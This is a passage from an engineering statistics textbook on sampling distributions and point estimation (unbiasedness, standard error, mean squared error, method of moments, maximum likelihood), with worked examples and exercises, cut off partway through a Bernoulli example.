$$\sigma^2_{\bar{X}_1 - \bar{X}_2} = \sigma^2_{\bar{X}_1} + \sigma^2_{\bar{X}_2} = \frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2} \tag{7-3}$$

If the two populations are not normally distributed and if both sample sizes n_1 and n_2 are greater than 30, we may use the central limit theorem and assume that $\bar{X}_1$ and $\bar{X}_2$ follow approximately independent normal distributions. Therefore, the sampling distribution of $\bar{X}_1 - \bar{X}_2$ is approximately normal with mean and variance given by Equations 7-2 and 7-3, respectively. If either n_1 or n_2 is less than 30, the sampling distribution of $\bar{X}_1 - \bar{X}_2$ will still be approximately normal with mean and variance given by Equations 7-2 and 7-3, provided that the population from which the small sample is taken is not dramatically different from the normal. We may summarize this with the following definition.

Approximate Sampling Distribution of a Difference in Sample Means

If we have two independent populations with means μ_1 and μ_2 and variances σ_1^2 and σ_2^2, and if $\bar{X}_1$ and $\bar{X}_2$ are the sample means of two independent random samples of sizes n_1 and n_2 from these populations, then the sampling distribution of

$$Z = \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{\sqrt{\sigma_1^2/n_1 + \sigma_2^2/n_2}} \tag{7-4}$$

is approximately standard normal, if the conditions of the central limit theorem apply. If the two populations are normal, the sampling distribution of Z is exactly standard normal.

EXAMPLE 7-3 Aircraft Engine Life

The effective life of a component used in a jet-turbine aircraft engine is a random variable with mean 5000 hours and standard deviation 40 hours. The distribution of effective life is fairly close to a normal distribution. The engine manufacturer introduces an improvement into the manufacturing process for this component that increases the mean life to 5050 hours and decreases the standard deviation to 30 hours. Suppose that a random sample of $n_1 = 16$ components is selected from

Figure 7-4 The sampling distribution of $\bar{X}_2 - \bar{X}_1$ in Example 7-3.

the "old" process and a random sample of $n_2 = 25$ components is selected from the "improved" process. What is the probability that the difference in the two sample means $\bar{X}_2 - \bar{X}_1$ is at least 25 hours? Assume that the old and improved processes can be regarded as independent populations.

To solve this problem, we first note that the distribution of $\bar{X}_1$ is normal with mean $\mu_1 = 5000$ hours and standard deviation $\sigma_1/\sqrt{n_1} = 40/\sqrt{16} = 10$ hours, and the distribution of $\bar{X}_2$ is normal with mean $\mu_2 = 5050$ hours and standard deviation $\sigma_2/\sqrt{n_2} = 30/\sqrt{25} = 6$ hours. Now the distribution of $\bar{X}_2 - \bar{X}_1$ is normal with mean $\mu_2 - \mu_1 = 5050 - 5000 = 50$ hours and variance $\sigma_2^2/n_2 + \sigma_1^2/n_1 = (6)^2 + (10)^2 = 136$ hours^2. This sampling distribution is shown in Fig. 7-4. The probability that $\bar{X}_2 - \bar{X}_1 \geq 25$ is the shaded portion of the normal distribution in this figure.

Corresponding to the value $\bar{x}_2 - \bar{x}_1 = 25$ in Fig. 7-4, we find that

$$z = \frac{25 - 50}{\sqrt{136}} = -2.14$$

and consequently,

$$P(\bar{X}_2 - \bar{X}_1 \geq 25) = P(Z \geq -2.14) = 0.9838$$

Therefore, there is a high probability (0.9838) that the difference in sample means between the new and the old process will be at least 25 hours if the sample sizes are $n_1 = 16$ and $n_2 = 25$.

EXERCISES FOR SECTION 7-2

7-1. Consider the hospital emergency room data from Exercise 6-104. Estimate the proportion of patients who arrive at this emergency department experiencing chest pain.

7-2. Consider the compressive strength data in Table 6-2. What proportion of the specimens exhibit compressive strength of at least 200 psi?

7-3. PVC pipe is manufactured with a mean diameter of 1.01 inch and a standard deviation of 0.003 inch. Find the probability that a random sample of $n = 9$ sections of pipe will have a sample mean diameter greater than 1.009 inch and less than 1.012 inch.

7-4. Suppose that samples of size $n = 25$ are selected at random from a normal population with mean 100 and standard deviation 10. What is the probability that the sample mean falls in the interval from $\mu_{\bar{X}} - 1.8\sigma_{\bar{X}}$ to $\mu_{\bar{X}} + 1.0\sigma_{\bar{X}}$?

7-5. A synthetic fiber used in manufacturing carpet has tensile strength that is normally distributed with mean 75.5 psi and standard deviation 3.5 psi. Find the probability that a random sample of $n = 6$ fiber specimens will have sample mean tensile strength that exceeds 75.75 psi.

7-6. Consider the synthetic fiber in the previous exercise. How is the standard deviation of the sample mean changed when the sample size is increased from $n = 6$ to $n = 49$?

7-7. The compressive strength of concrete is normally distributed with $\mu = 2500$ psi and $\sigma = 50$ psi. Find the probability that a random sample of $n = 5$ specimens will have a sample mean diameter that falls in the interval from 2499 psi to 2510 psi.

7-8. Consider the concrete specimens in the previous exercise. What is the standard error of the sample mean?

7-9. A normal population has mean 100 and variance 25. How large must the random sample be if we want the standard error of the sample average to be 1.5?

7-10. Suppose that the random variable X has the continuous uniform distribution

$$f(x) = \begin{cases} 1, & 0 \leq x \leq 1 \\ 0, & \text{otherwise} \end{cases}$$

Suppose that a random sample of $n = 12$ observations is selected from this distribution. What is the approximate probability distribution of $\bar{X} - 6$? Find the mean and variance of this quantity.

7-11. Suppose that X has a discrete uniform distribution

$$f(x) = \begin{cases} 1/3, & x = 1, 2, 3 \\ 0, & \text{otherwise} \end{cases}$$

A random sample of $n = 36$ is selected from this population. Find the probability that the sample mean is greater than 2.1 but less than 2.5, assuming that the sample mean would be measured to the nearest tenth.

7-12. The amount of time that a customer spends waiting at an airport check-in counter is a random variable with mean 8.2 minutes and standard deviation 1.5 minutes. Suppose that a random sample of $n = 49$ customers is observed. Find the probability that the average time waiting in line for these customers is
(a) Less than 10 minutes
(b) Between 5 and 10 minutes
(c) Less than 6 minutes

7-13. A random sample of size $n_1 = 16$ is selected from a normal population with a mean of 75 and a standard deviation of 8. A second random sample of size $n_2 = 9$ is taken from another normal population with mean 70 and standard deviation 12. Let $\overline{X}_1$ and $\overline{X}_2$ be the two sample means. Find:
(a) The probability that $\overline{X}_1 - \overline{X}_2$ exceeds 4
(b) The probability that $3.5 \le \overline{X}_1 - \overline{X}_2 \le 5.5$

7-14. A consumer electronics company is comparing the brightness of two different types of picture tubes for use in its television sets. Tube type A has mean brightness of 100 and standard deviation of 16, while tube type B has unknown mean brightness, but the standard deviation is assumed to be identical to that for type *A*. A random sample of $n = 25$ tubes of each type is selected, and $\overline{X}_B - \overline{X}_A$ is computed. If μ_B equals or exceeds μ_A, the manufacturer would like to adopt type B for use. The observed difference is $\bar{x}_B - \bar{x}_A = 3.5$. What decision would you make, and why?

7-15. The elasticity of a polymer is affected by the concentration of a reactant. When low concentration is used, the true mean elasticity is 55, and when high concentration is used the mean elasticity is 60. The standard deviation of elasticity is 4, regardless of concentration. If two random samples of size 16 are taken, find the probability that $\overline{X}_{high} - \overline{X}_{low} \ge 2$.

7-3 GENERAL CONCEPTS OF POINT ESTIMATION

7-3.1 Unbiased Estimators

An estimator should be "close" in some sense to the true value of the unknown parameter. Formally, we say that $\hat{\Theta}$ is an unbiased estimator of θ if the expected value of $\hat{\Theta}$ is equal to θ. This is equivalent to saying that the mean of the probability distribution of $\hat{\Theta}$ (or the mean of the sampling distribution of $\hat{\Theta}$) is equal to θ.

Bias of an Estimator

The point estimator $\hat{\Theta}$ is an **unbiased estimator** for the parameter θ if

$$E(\hat{\Theta}) = \theta \tag{7-5}$$

If the estimator is not unbiased, then the difference

$$E(\hat{\Theta}) - \theta \tag{7-6}$$

is called the **bias** of the estimator $\hat{\Theta}$.

When an estimator is unbiased, the bias is zero; that is, $E(\hat{\Theta}) - \theta = 0$.

EXAMPLE 7-4 Sample Mean and Variance Are Unbiased

Suppose that X is a random variable with mean μ and variance σ^2. Let $X_1, X_2, \ldots, X_n$ be a random sample of size n from the population represented by X. Show that the sample mean $\overline{X}$ and sample variance S^2 are unbiased estimators of μ and σ^2, respectively.

First consider the sample mean. In Section 5.5 in Chapter 5, we showed that $E(\overline{X}) = \mu$. Therefore, the sample mean $\overline{X}$ is an unbiased estimator of the population mean μ.

Now consider the sample variance. We have

$$E(S^2) = E\left[\frac{\sum_{i=1}^{n}(X_i - \bar{X})^2}{n-1}\right] = \frac{1}{n-1}E\sum_{i=1}^{n}(X_i - \bar{X})^2$$

$$= \frac{1}{n-1}E\sum_{i=1}^{n}(X_i^2 + \bar{X}^2 - 2\bar{X}X_i)$$

$$= \frac{1}{n-1}E\left(\sum_{i=1}^{n}X_i^2 - n\bar{X}^2\right)$$

$$= \frac{1}{n-1}\left[\sum_{i=1}^{n}E(X_i^2) - nE(\bar{X}^2)\right]$$

The last equality follows the equation for the mean of a linear function in Chapter 5. However, since $E(X_i^2) = \mu^2 + \sigma^2$ and $E(\bar{X}^2) = \mu^2 + \sigma^2/n$, we have

$$E(S^2) = \frac{1}{n-1}\left[\sum_{i=1}^{n}(\mu^2 + \sigma^2) - n(\mu^2 + \sigma^2/n)\right]$$

$$= \frac{1}{n-1}(n\mu^2 + n\sigma^2 - n\mu^2 - \sigma^2) = \sigma^2$$

Therefore, the sample variance S^2 is an unbiased estimator of the population variance σ^2.

Although S^2 is unbiased for σ^2, S is a biased estimator of σ. For large samples, the bias is very small. However, there are good reasons for using S as an estimator of σ in samples from normal distributions, as we will see in the next three chapters when we discuss confidence intervals and hypothesis testing.

Sometimes there are several unbiased estimators of the sample population parameter. For example, suppose we take a random sample of size $n = 10$ from a normal population and obtain the data $x_1 = 12.8$, $x_2 = 9.4$, $x_3 = 8.7$, $x_4 = 11.6$, $x_5 = 13.1$, $x_6 = 9.8$, $x_7 = 14.1$, $x_8 = 8.5$, $x_9 = 12.1$, $x_{10} = 10.3$. Now the sample mean is

$$\bar{x} = \frac{12.8 + 9.4 + 8.7 + 11.6 + 13.1 + 9.8 + 14.1 + 8.5 + 12.1 + 10.3}{10} = 11.04$$

the sample median is

$$\tilde{x} = \frac{10.3 + 11.6}{2} = 10.95$$

and a 10% trimmed mean (obtained by discarding the smallest and largest 10% of the sample before averaging) is

$$\bar{x}_{tr(10)} = \frac{8.7 + 9.4 + 9.8 + 10.3 + 11.6 + 12.1 + 12.8 + 13.1}{8} = 10.98$$

We can show that all of these are unbiased estimates of μ. Since there is not a unique unbiased estimator, we cannot rely on the property of unbiasedness alone to select our estimator. We need a method to select among unbiased estimators. We suggest a method in the following section.

7-3.2 Variance of a Point Estimator

Suppose that $\hat{\Theta}_1$ and $\hat{\Theta}_2$ are unbiased estimators of θ. This indicates that the distribution of each estimator is centered at the true value of θ. However, the variance of these distributions may be different. Figure 7-5 illustrates the situation. Since $\hat{\Theta}_1$ has a smaller variance than $\hat{\Theta}_2$, the estimator $\hat{\Theta}_1$ is more likely to produce an estimate close to the true value θ. A logical principle of estimation, when selecting among several estimators, is to choose the estimator that has minimum variance.

Figure 7-5 The sampling distributions of two unbiased estimators $\hat{\Theta}_1$ and $\hat{\Theta}_2$.

Minimum Variance Unbiased Estimator

If we consider all unbiased estimators of θ, the one with the smallest variance is called the **minimum variance unbiased estimator** (MVUE).

In a sense, the MVUE is most likely among all unbiased estimators to produce an estimate $\hat{\theta}$ that is close to the true value of θ. It has been possible to develop methodology to identify the MVUE in many practical situations. While this methodology is beyond the scope of this book, we give one very important result concerning the normal distribution.

If $X_1, X_2, \ldots, X_n$ is a random sample of size n from a normal distribution with mean μ and variance σ^2, the sample mean $\overline{X}$ is the MVUE for μ.

In situations in which we do not know whether an MVUE exists, we could still use a minimum variance principle to choose among competing estimators. Suppose, for example, we wish to estimate the mean of a population (not necessarily a *normal* population). We have a random sample of n observations $X_1, X_2, \ldots, X_n$ and we wish to compare two possible estimators for μ: the sample mean $\overline{X}$ and a single observation from the sample, say, X_i. Note that both $\overline{X}$ and X_i are unbiased estimators of μ; for the sample mean, we have $V(\overline{X}) = \sigma^2/n$ from Chapter 5 and the variance of any observation is $V(X_i) = \sigma^2$. Since $V(\overline{X}) < V(X_i)$ for sample sizes $n \geq 2$, we would conclude that the sample mean is a better estimator of μ than a single observation X_i.

7-3.3 Standard Error: Reporting a Point Estimate

When the numerical value or point estimate of a parameter is reported, it is usually desirable to give some idea of the precision of estimation. The measure of precision usually employed is the standard error of the estimator that has been used.

Standard Error of an Estimator

The **standard error** of an estimator $\hat{\Theta}$ is its standard deviation, given by $\sigma_{\hat{\Theta}} = \sqrt{V(\hat{\Theta})}$. If the standard error involves unknown parameters that can be estimated, substitution of those values into $\sigma_{\hat{\Theta}}$ produces an **estimated standard error,** denoted by $\hat{\sigma}_{\hat{\Theta}}$.

Sometimes the estimated standard error is denoted by $s_{\hat{\Theta}}$ or $se(\hat{\Theta})$.

Suppose we are sampling from a normal distribution with mean μ and variance σ^2. Now the distribution of $\overline{X}$ is normal with mean μ and variance σ^2/n, so the standard error of $\overline{X}$ is

$$\sigma_{\overline{X}} = \frac{\sigma}{\sqrt{n}}$$

If we did not know σ but substituted the sample standard deviation S into the above equation, the estimated standard error of $\overline{X}$ would be

$$\hat{\sigma}_{\overline{X}} = \frac{S}{\sqrt{n}}$$

When the estimator follows a normal distribution, as in the above situation, we can be reasonably confident that the true value of the parameter lies within two standard errors of the estimate. Since many point estimators are normally distributed (or approximately so) for large n, this is a very useful result. Even in cases in which the point estimator is not normally distributed, we can state that so long as the estimator is unbiased, the estimate of the parameter will deviate from the true value by as much as four standard errors at most 6 percent of the time. Thus a very conservative statement is that the true value of the parameter differs from the point estimate by at most four standard errors. See Chebyshev's inequality in the supplemental material on the Web site.

EXAMPLE 7-5 Thermal Conductivity

An article in the *Journal of Heat Transfer* (Trans. ASME, Sec. C, 96, 1974, p. 59) described a new method of measuring the thermal conductivity of Armco iron. Using a temperature of 100°F and a power input of 550 watts, the following 10 measurements of thermal conductivity (in Btu/hr-ft-°F) were obtained:

41.60, 41.48, 42.34, 41.95, 41.86,
42.18, 41.72, 42.26, 41.81, 42.04

A point estimate of the mean thermal conductivity at 100°F and 550 watts is the sample mean or

$$\overline{x} = 41.924 \text{ Btu/hr-ft-°F}$$

The standard error of the sample mean is $\sigma_{\overline{X}} = \sigma/\sqrt{n}$, and since σ is unknown, we may replace it by the sample standard deviation $s = 0.284$ to obtain the estimated standard error of $\overline{X}$ as

$$\hat{\sigma}_{\overline{X}} = \frac{s}{\sqrt{n}} = \frac{0.284}{\sqrt{10}} = 0.0898$$

Practical Interpretation: Notice that the standard error is about 0.2 percent of the sample mean, implying that we have obtained a relatively precise point estimate of thermal conductivity. If we can assume that thermal conductivity is normally distributed, 2 times the standard error is $2\hat{\sigma}_{\overline{X}} = 2(0.0898) = 0.1796$, and we are highly confident that the true mean thermal conductivity is within the interval 41.924 ± 0.1796, or between 41.744 and 42.104.

7-3.4 Mean Squared Error of an Estimator

Sometimes it is necessary to use a biased estimator. In such cases, the mean squared error of the estimator can be important. The **mean squared error** of an estimator $\hat{\Theta}$ is the expected squared difference between $\hat{\Theta}$ and θ.

Mean Squared Error of an Estimator

The **mean squared error** of an estimator $\hat{\Theta}$ of the parameter θ is defined as

$$\text{MSE}(\hat{\Theta}) = E(\hat{\Theta} - \theta)^2 \tag{7-7}$$

Figure 7-6 A biased estimator $\hat{\Theta}_1$ that has smaller variance than the unbiased estimator $\hat{\Theta}_2$.

The mean squared error can be rewritten as follows:

$$\begin{aligned} \text{MSE}(\hat{\Theta}) &= E[\hat{\Theta} - E(\hat{\Theta})]^2 + [\theta - E(\hat{\Theta})]^2 \\ &= V(\hat{\Theta}) + (\text{bias})^2 \end{aligned}$$

That is, the mean squared error of $\hat{\Theta}$ is equal to the variance of the estimator plus the squared bias. If $\hat{\Theta}$ is an unbiased estimator of θ, the mean squared error of $\hat{\Theta}$ is equal to the variance of $\hat{\Theta}$.

The mean squared error is an important criterion for comparing two estimators. Let $\hat{\Theta}_1$ and $\hat{\Theta}_2$ be two estimators of the parameter θ, and let MSE $(\hat{\Theta}_1)$ and MSE $(\hat{\Theta}_2)$ be the mean squared errors of $\hat{\Theta}_1$ and $\hat{\Theta}_2$. Then the **relative efficiency** of $\hat{\Theta}_2$ to $\hat{\Theta}_1$ is defined as

$$\frac{\text{MSE}(\hat{\Theta}_1)}{\text{MSE}(\hat{\Theta}_2)} \tag{7-8}$$

If this relative efficiency is less than 1, we would conclude that $\hat{\Theta}_1$ is a more efficient estimator of θ than $\hat{\Theta}_2$, in the sense that it has a smaller mean squared error.

Sometimes we find that biased estimators are preferable to unbiased estimators because they have smaller mean squared error. That is, we may be able to reduce the variance of the estimator considerably by introducing a relatively small amount of bias. As long as the reduction in variance is greater than the squared bias, an improved estimator from a mean squared error viewpoint will result. For example, Fig. 7-6 shows the probability distribution of a biased estimator $\hat{\Theta}_1$ that has a smaller variance than the unbiased estimator $\hat{\Theta}_2$. An estimate based on $\hat{\Theta}_1$ would more likely be close to the true value of θ than would an estimate based on $\hat{\Theta}_2$. Linear regression analysis (Chapters 11 and 12) is an example of an application area in which biased estimators are occasionally used.

An estimator $\hat{\Theta}$ that has a mean squared error that is less than or equal to the mean squared error of any other estimator, for all values of the parameter θ, is called an **optimal** estimator of θ. Optimal estimators rarely exist.

EXERCISES FOR SECTION 7-3

7-16. A computer software package was used to calculate some numerical summaries of a sample of data. The results are displayed here:

Variable	N	Mean	SE Mean	StDev	Variance
x	20	50.184	?	1.816	?

(a) Fill in the missing quantities.
(b) What is the estimate of the mean of the population from which this sample was drawn?

7-17. A computer software package was used to calculate some numerical summaries of a sample of data. The results are displayed here:

Variable	N	Mean	SE Mean	StDev	Variance	Sum	Sum of Squares
x	?	?	2.05	10.25	?	3761.70	?

(a) Fill in the missing quantities.
(b) What is the estimate of the mean of the population from which this sample was drawn?

7-18. Let X_1 and X_2 be independent random variables with mean μ and variance σ_2. Suppose that we have two estimators of μ:

$$\hat{\Theta}_1 = \frac{X_1 + X_2}{2}$$

and

$$\hat{\Theta}_2 = \frac{X_1 + 3X_2}{4}$$

(a) Are both estimators unbiased estimators of μ?
(b) What is the variance of each estimator?

7-19. Suppose that we have a random sample $X_1, X_2, \ldots, X_n$ from a population that is $N(\mu, \sigma^2)$. We plan to use $\hat{\Theta} = \sum_{i=1}^{n}(X_i - \overline{X})^2/c$ to estimate σ^2. Compute the bias in $\hat{\Theta}$ as an estimator of σ^2 as a function of the constant c.

7-20. Suppose we have a random sample of size $2n$ from a population denoted by X, and $E(X) = \mu$ and $V(X) = \sigma^2$. Let

$$\overline{X}_1 = \frac{1}{2n}\sum_{i=1}^{2n} X_i \quad \text{and} \quad \overline{X}_2 = \frac{1}{n}\sum_{i=1}^{n} X_i$$

be two estimators of μ. Which is the better estimator of μ? Explain your choice.

7-21. Let $X_1, X_2, \ldots, X_7$ denote a random sample from a population having mean μ and variance σ^2. Consider the following estimators of μ:

$$\hat{\Theta}_1 = \frac{X_1 + X_2 + \cdots + X_7}{7}$$

$$\hat{\Theta}_2 = \frac{2X_1 - X_6 + X_4}{2}$$

(a) Is either estimator unbiased?
(b) Which estimator is best? In what sense is it best? Calculate the relative efficiency of the two estimators.

7-22. Suppose that $\hat{\Theta}_1$ and $\hat{\Theta}_2$ are unbiased estimators of the parameter θ. We know that $V(\hat{\Theta}_1) = 10$ and $V(\hat{\Theta}_2) = 4$. Which estimator is best and in what sense is it best? Calculate the relative efficiency of the two estimators.

7-23. Suppose that $\hat{\Theta}_1$ and $\hat{\Theta}_2$ are estimators of the parameter θ. We know that $E(\hat{\Theta}_1) = \theta$, $E(\hat{\Theta}_2) = \theta/2$, $V(\hat{\Theta}_1) = 10$, $V(\hat{\Theta}_2) = 4$. Which estimator is best? In what sense is it best?

7-24. Suppose that $\hat{\Theta}_1$, $\hat{\Theta}_2$, and $\hat{\Theta}_3$ are estimators of θ. We know that $E(\hat{\Theta}_1) = E(\hat{\Theta}_2) = \theta$, $E(\hat{\Theta}_3) \neq \theta$, $V(\hat{\Theta}_1) = 12$, $V(\hat{\Theta}_2) = 10$, and $E(\hat{\Theta}_3 - \theta)^2 = 6$. Compare these three estimators. Which do you prefer? Why?

7-25. Let three random samples of sizes $n_1 = 20$, $n_2 = 10$, and $n_3 = 8$ be taken from a population with mean μ and variance σ^2. Let S_1^2, S_2^2, and S_3^2 be the sample variances. Show that $S^2 = (20S_1^2 + 10S_2^2 + 8S_3^2)/38$ is an unbiased estimator of σ^2.

7-26. (a) Show that $\sum_{i=1}^{n}(X_i - \overline{X})^2/n$ is a biased estimator of σ^2.
(b) Find the amount of bias in the estimator.
(c) What happens to the bias as the sample size n increases?

7-27. Let $X_1, X_2, \ldots, X_n$ be a random sample of size n from a population with mean μ and variance σ^2.
(a) Show that $\overline{X}^2$ is a biased estimator for μ^2.
(b) Find the amount of bias in this estimator.
(c) What happens to the bias as the sample size n increases?

7-28. Data on pull-off force (pounds) for connectors used in an automobile engine application are as follows: 79.3, 75.1, 78.2, 74.1, 73.9, 75.0, 77.6, 77.3, 73.8, 74.6, 75.5, 74.0, 74.7, 75.9, 72.9, 73.8, 74.2, 78.1, 75.4, 76.3, 75.3, 76.2, 74.9, 78.0, 75.1, 76.8.
(a) Calculate a point estimate of the mean pull-off force of all connectors in the population. State which estimator you used and why.
(b) Calculate a point estimate of the pull-off force value that separates the weakest 50% of the connectors in the population from the strongest 50%.
(c) Calculate point estimates of the population variance and the population standard deviation.
(d) Calculate the standard error of the point estimate found in part (a). Provide an interpretation of the standard error.
(e) Calculate a point estimate of the proportion of all connectors in the population whose pull-off force is less than 73 pounds.

7-29. Data on oxide thickness of semiconductors are as follows: 425, 431, 416, 419, 421, 436, 418, 410, 431, 433, 423, 426, 410, 435, 436, 428, 411, 426, 409, 437, 422, 428, 413, 416.
(a) Calculate a point estimate of the mean oxide thickness for all wafers in the population.
(b) Calculate a point estimate of the standard deviation of oxide thickness for all wafers in the population.
(c) Calculate the standard error of the point estimate from part (a).
(d) Calculate a point estimate of the median oxide thickness for all wafers in the population.
(e) Calculate a point estimate of the proportion of wafers in the population that have oxide thickness greater than 430 angstroms.

7-30. Suppose that X is the number of observed "successes" in a sample of n observations, where p is the probability of success on each observation.
(a) Show that $\hat{P} = X/n$ is an unbiased estimator of p.
(b) Show that the standard error of $\hat{P}$ is $\sqrt{p(1-p)/n}$. How would you estimate the standard error?

7-31. $\overline{X}_1$ and S_1^2 are the sample mean and sample variance from a population with mean μ_1 and variance σ_1^2. Similarly, $\overline{X}_2$ and S_2^2 are the sample mean and sample variance from a second independent population with mean μ_2 and variance σ_2^2. The sample sizes are n_1 and n_2, respectively.
(a) Show that $\overline{X}_1 - \overline{X}_2$ is an unbiased estimator of $\mu_1 - \mu_2$.

(b) Find the standard error of $\overline{X}_1 - \overline{X}_2$. How could you estimate the standard error?

(c) Suppose that both populations have the same variance; that is, $\sigma_1^2 = \sigma_2^2 = \sigma^2$. Show that

$$S_p^2 = \frac{(n_1 - 1)S_1^2 + (n_2 - 1)S_2^2}{n_1 + n_2 - 2}$$

is an unbiased estimator of σ^2.

7-32. Two different plasma etchers in a semiconductor factory have the same mean etch rate μ. However, machine 1 is newer than machine 2 and consequently has smaller variability in etch rate. We know that the variance of etch rate for machine 1 is σ_1^2 and for machine 2 it is $\sigma_2^2 = a\sigma_1^2$. Suppose that we have n_1 independent observations on etch rate from machine 1 and n_2 independent observations on etch rate from machine 2.

(a) Show that $\hat{\mu} = \alpha\,\overline{X}_1 + (1 - \alpha)\,\overline{X}_2$ is an unbiased estimator of μ for any value of α between 0 and 1.

(b) Find the standard error of the point estimate of μ in part (a).

(c) What value of α would minimize the standard error of the point estimate of μ?

(d) Suppose that $a = 4$ and $n_1 = 2n_2$. What value of α would you select to minimize the standard error of the point estimate of μ? How "bad" would it be to arbitrarily choose $\alpha = 0.5$ in this case?

7-33. Of n_1 randomly selected engineering students at ASU, X_1 owned an HP calculator, and of n_2 randomly selected engineering students at Virginia Tech, X_2 owned an HP calculator. Let p_1 and p_2 be the probability that randomly selected ASU and Virginia. Tech engineering students, respectively, own HP calculators.

(a) Show that an unbiased estimate for $p_1 - p_2$ is $(X_1/n_1) - (X_2/n_2)$.

(b) What is the standard error of the point estimate in part (a)?

(c) How would you compute an estimate of the standard error found in part (b)?

(d) Suppose that $n_1 = 200$, $X_1 = 150$, $n_2 = 250$, and $X_2 = 185$. Use the results of part (a) to compute an estimate of $p_1 - p_2$.

(e) Use the results in parts (b) through (d) to compute an estimate of the standard error of the estimate.

7-4 METHODS OF POINT ESTIMATION

The definitions of unbiasedness and other properties of estimators do not provide any guidance about how good estimators can be obtained. In this section, we discuss methods for obtaining point estimators: the method of moments and the method of maximum likelihood. We also briefly discuss a Bayesian approach to parameter estimation. Maximum likelihood estimates are generally preferable to moment estimators because they have better efficiency properties. However, moment estimators are sometimes easier to compute. Both methods can produce unbiased point estimators.

7-4.1 Method of Moments

The general idea behind the method of moments is to equate **population moments,** which are defined in terms of expected values, to the corresponding **sample moments.** The population moments will be functions of the unknown parameters. Then these equations are solved to yield estimators of the unknown parameters.

Moments

Let $X_1, X_2, \ldots, X_n$ be a random sample from the probability distribution $f(x)$, where $f(x)$ can be a discrete probability mass function or a continuous probability density function. The kth **population moment** (or **distribution moment**) is $E(X^k)$, $k = 1, 2, \ldots$. The corresponding kth **sample moment** is $(1/n)\sum_{i=1}^{n} X_i^k$, $k = 1, 2, \ldots$.

To illustrate, the first population moment is $E(X) = \mu$, and the first sample moment is $(1/n)\sum_{i=1}^{n} X_i = \overline{X}$. Thus by equating the population and sample moments, we find that $\hat{\mu} = \overline{X}$. That is, the sample mean is the **moment estimator** of the population mean. In the general case, the population moments will be functions of the unknown parameters of the distribution, say, $\theta_1, \theta_2, \ldots, \theta_m$.

Moment Estimators

Let $X_1, X_2, \ldots, X_n$ be a random sample from either a probability mass function or a probability density function with m unknown parameters $\theta_1, \theta_2, \ldots, \theta_m$. The **moment estimators** $\hat{\Theta}_1, \hat{\Theta}_2, \ldots, \hat{\Theta}_m$ are found by equating the first m population moments to the first m sample moments and solving the resulting equations for the unknown parameters.

EXAMPLE 7-6 Exponential Distribution Moment Estimator

Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from an exponential distribution with parameter λ. Now there is only one parameter to estimate, so we must equate $E(X)$ to $\overline{X}$. For the exponential, $E(X) = 1/\lambda$. Therefore $E(X) = \overline{X}$ results in $1/\lambda = \overline{X}$, so $\hat{\lambda} = 1/\overline{X}$ is the moment estimator of λ.

As an example, suppose that the time to failure of an electronic module used in an automobile engine controller is tested at an elevated temperature to accelerate the failure mechanism. The time to failure is exponentially distributed. Eight units are randomly selected and tested, resulting in the following failure time (in hours): $x_1 = 11.96$, $x_2 = 5.03$, $x_3 = 67.40$, $x_4 = 16.07$, $x_5 = 31.50$, $x_6 = 7.73$, $x_7 = 11.10$, and $x_8 = 22.38$. Because $\bar{x} = 21.65$, the moment estimate of λ is $\hat{\lambda} = 1/\bar{x} = 1/21.65 = 0.0462$.

EXAMPLE 7-7 Normal Distribution Moment Estimators

Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from a normal distribution with parameters μ and σ^2. For the normal distribution, $E(X) = \mu$ and $E(X^2) = \mu^2 + \sigma^2$. Equating $E(X)$ to $\overline{X}$ and $E(X^2)$ to $\frac{1}{n}\sum_{i=1}^{n} X_i^2$ gives

$$\mu = \overline{X}, \qquad \mu^2 + \sigma^2 = \frac{1}{n}\sum_{i=1}^{n} X_i^2$$

Solving these equations gives the moment estimators

$$\hat{\mu} = \overline{X}, \qquad \hat{\sigma}^2 = \frac{\sum_{i=1}^{n} X_i^2 - n\left(\frac{1}{n}\sum_{i=1}^{n} X_i\right)^2}{n} = \frac{\sum_{i=1}^{n}(X_i - \overline{X})^2}{n}$$

Practical Conclusion: Notice that the moment estimator of σ^2 is not an unbiased estimator.

EXAMPLE 7-8 Gamma Distribution Moment Estimators

Suppose that $X_1, X_2, \ldots, X_n$ is a random sample from a gamma distribution with parameters r and λ. For the gamma distribution, $E(X) = r/\lambda$ and $E(X^2) = r(r+1)/\lambda^2$. The moment estimators are found by solving

$$r/\lambda = \overline{X}, \quad r(r+1)/\lambda^2 = \frac{1}{n}\sum_{i=1}^{n} X_i^2$$

The resulting estimators are

$$\hat{r} = \frac{\overline{X}^2}{(1/n)\sum_{i=1}^{n} X_i^2 - \overline{X}^2} \qquad \hat{\lambda} = \frac{\overline{X}}{(1/n)\sum_{i=1}^{n} X_i^2 - \overline{X}^2}$$

To illustrate, consider the time to failure data introduced following Example 7-6. For these data, $\bar{x} = 21.65$ and $\sum_{i=1}^{8} x_i^2 = 6639.40$, so the moment estimates are

$$\hat{r} = \frac{(21.65)^2}{(1/8)6645.43 - (21.65)^2} = 1.29,$$

$$\hat{\lambda} = \frac{21.65}{(1/8)6645.43 - (21.65)^2} = 0.0598$$

Interpretation: When $r = 1$, the gamma reduces to the exponential distribution. Because $\hat{r}$ slightly exceeds unity, it is quite possible that either the gamma or the exponential distribution would provide a reasonable model for the data.

7-4.2 Method of Maximum Likelihood

One of the best methods of obtaining a point estimator of a parameter is the method of maximum likelihood. This technique was developed in the 1920s by a famous British statistician, Sir R. A. Fisher. As the name implies, the estimator will be the value of the parameter that maximizes the **likelihood function.**

Maximum Likelihood Estimator

Suppose that X is a random variable with probability distribution $f(x; \theta)$, where θ is a single unknown parameter. Let $x_1, x_2, \ldots, x_n$ be the observed values in a random sample of size n. Then the **likelihood function** of the sample is

$$L(\theta) = f(x_1; \theta) \cdot f(x_2; \theta) \cdot \cdots \cdot f(x_n; \theta) \tag{7-9}$$

Note that the likelihood function is now a function of only the unknown parameter θ. The **maximum likelihood estimator** (MLE) of θ is the value of θ that maximizes the likelihood function $L(\theta)$.

In the case of a discrete random variable, the interpretation of the likelihood function is simple. The likelihood function of the sample $L(\theta)$ is just the probability

$$P(X_1 = x_1, X_2 = x_2, \ldots, X_n = x_n)$$

That is, $L(\theta)$ is just the probability of obtaining the sample values $x_1, x_2, \ldots, x_n$. Therefore, in the discrete case, the maximum likelihood estimator is an estimator that maximizes the probability of occurrence of the sample values.

EXAMPLE 7-9 Bernoulli Distribution MLE

Let X be a Bernoulli random variable. The probability mass function is

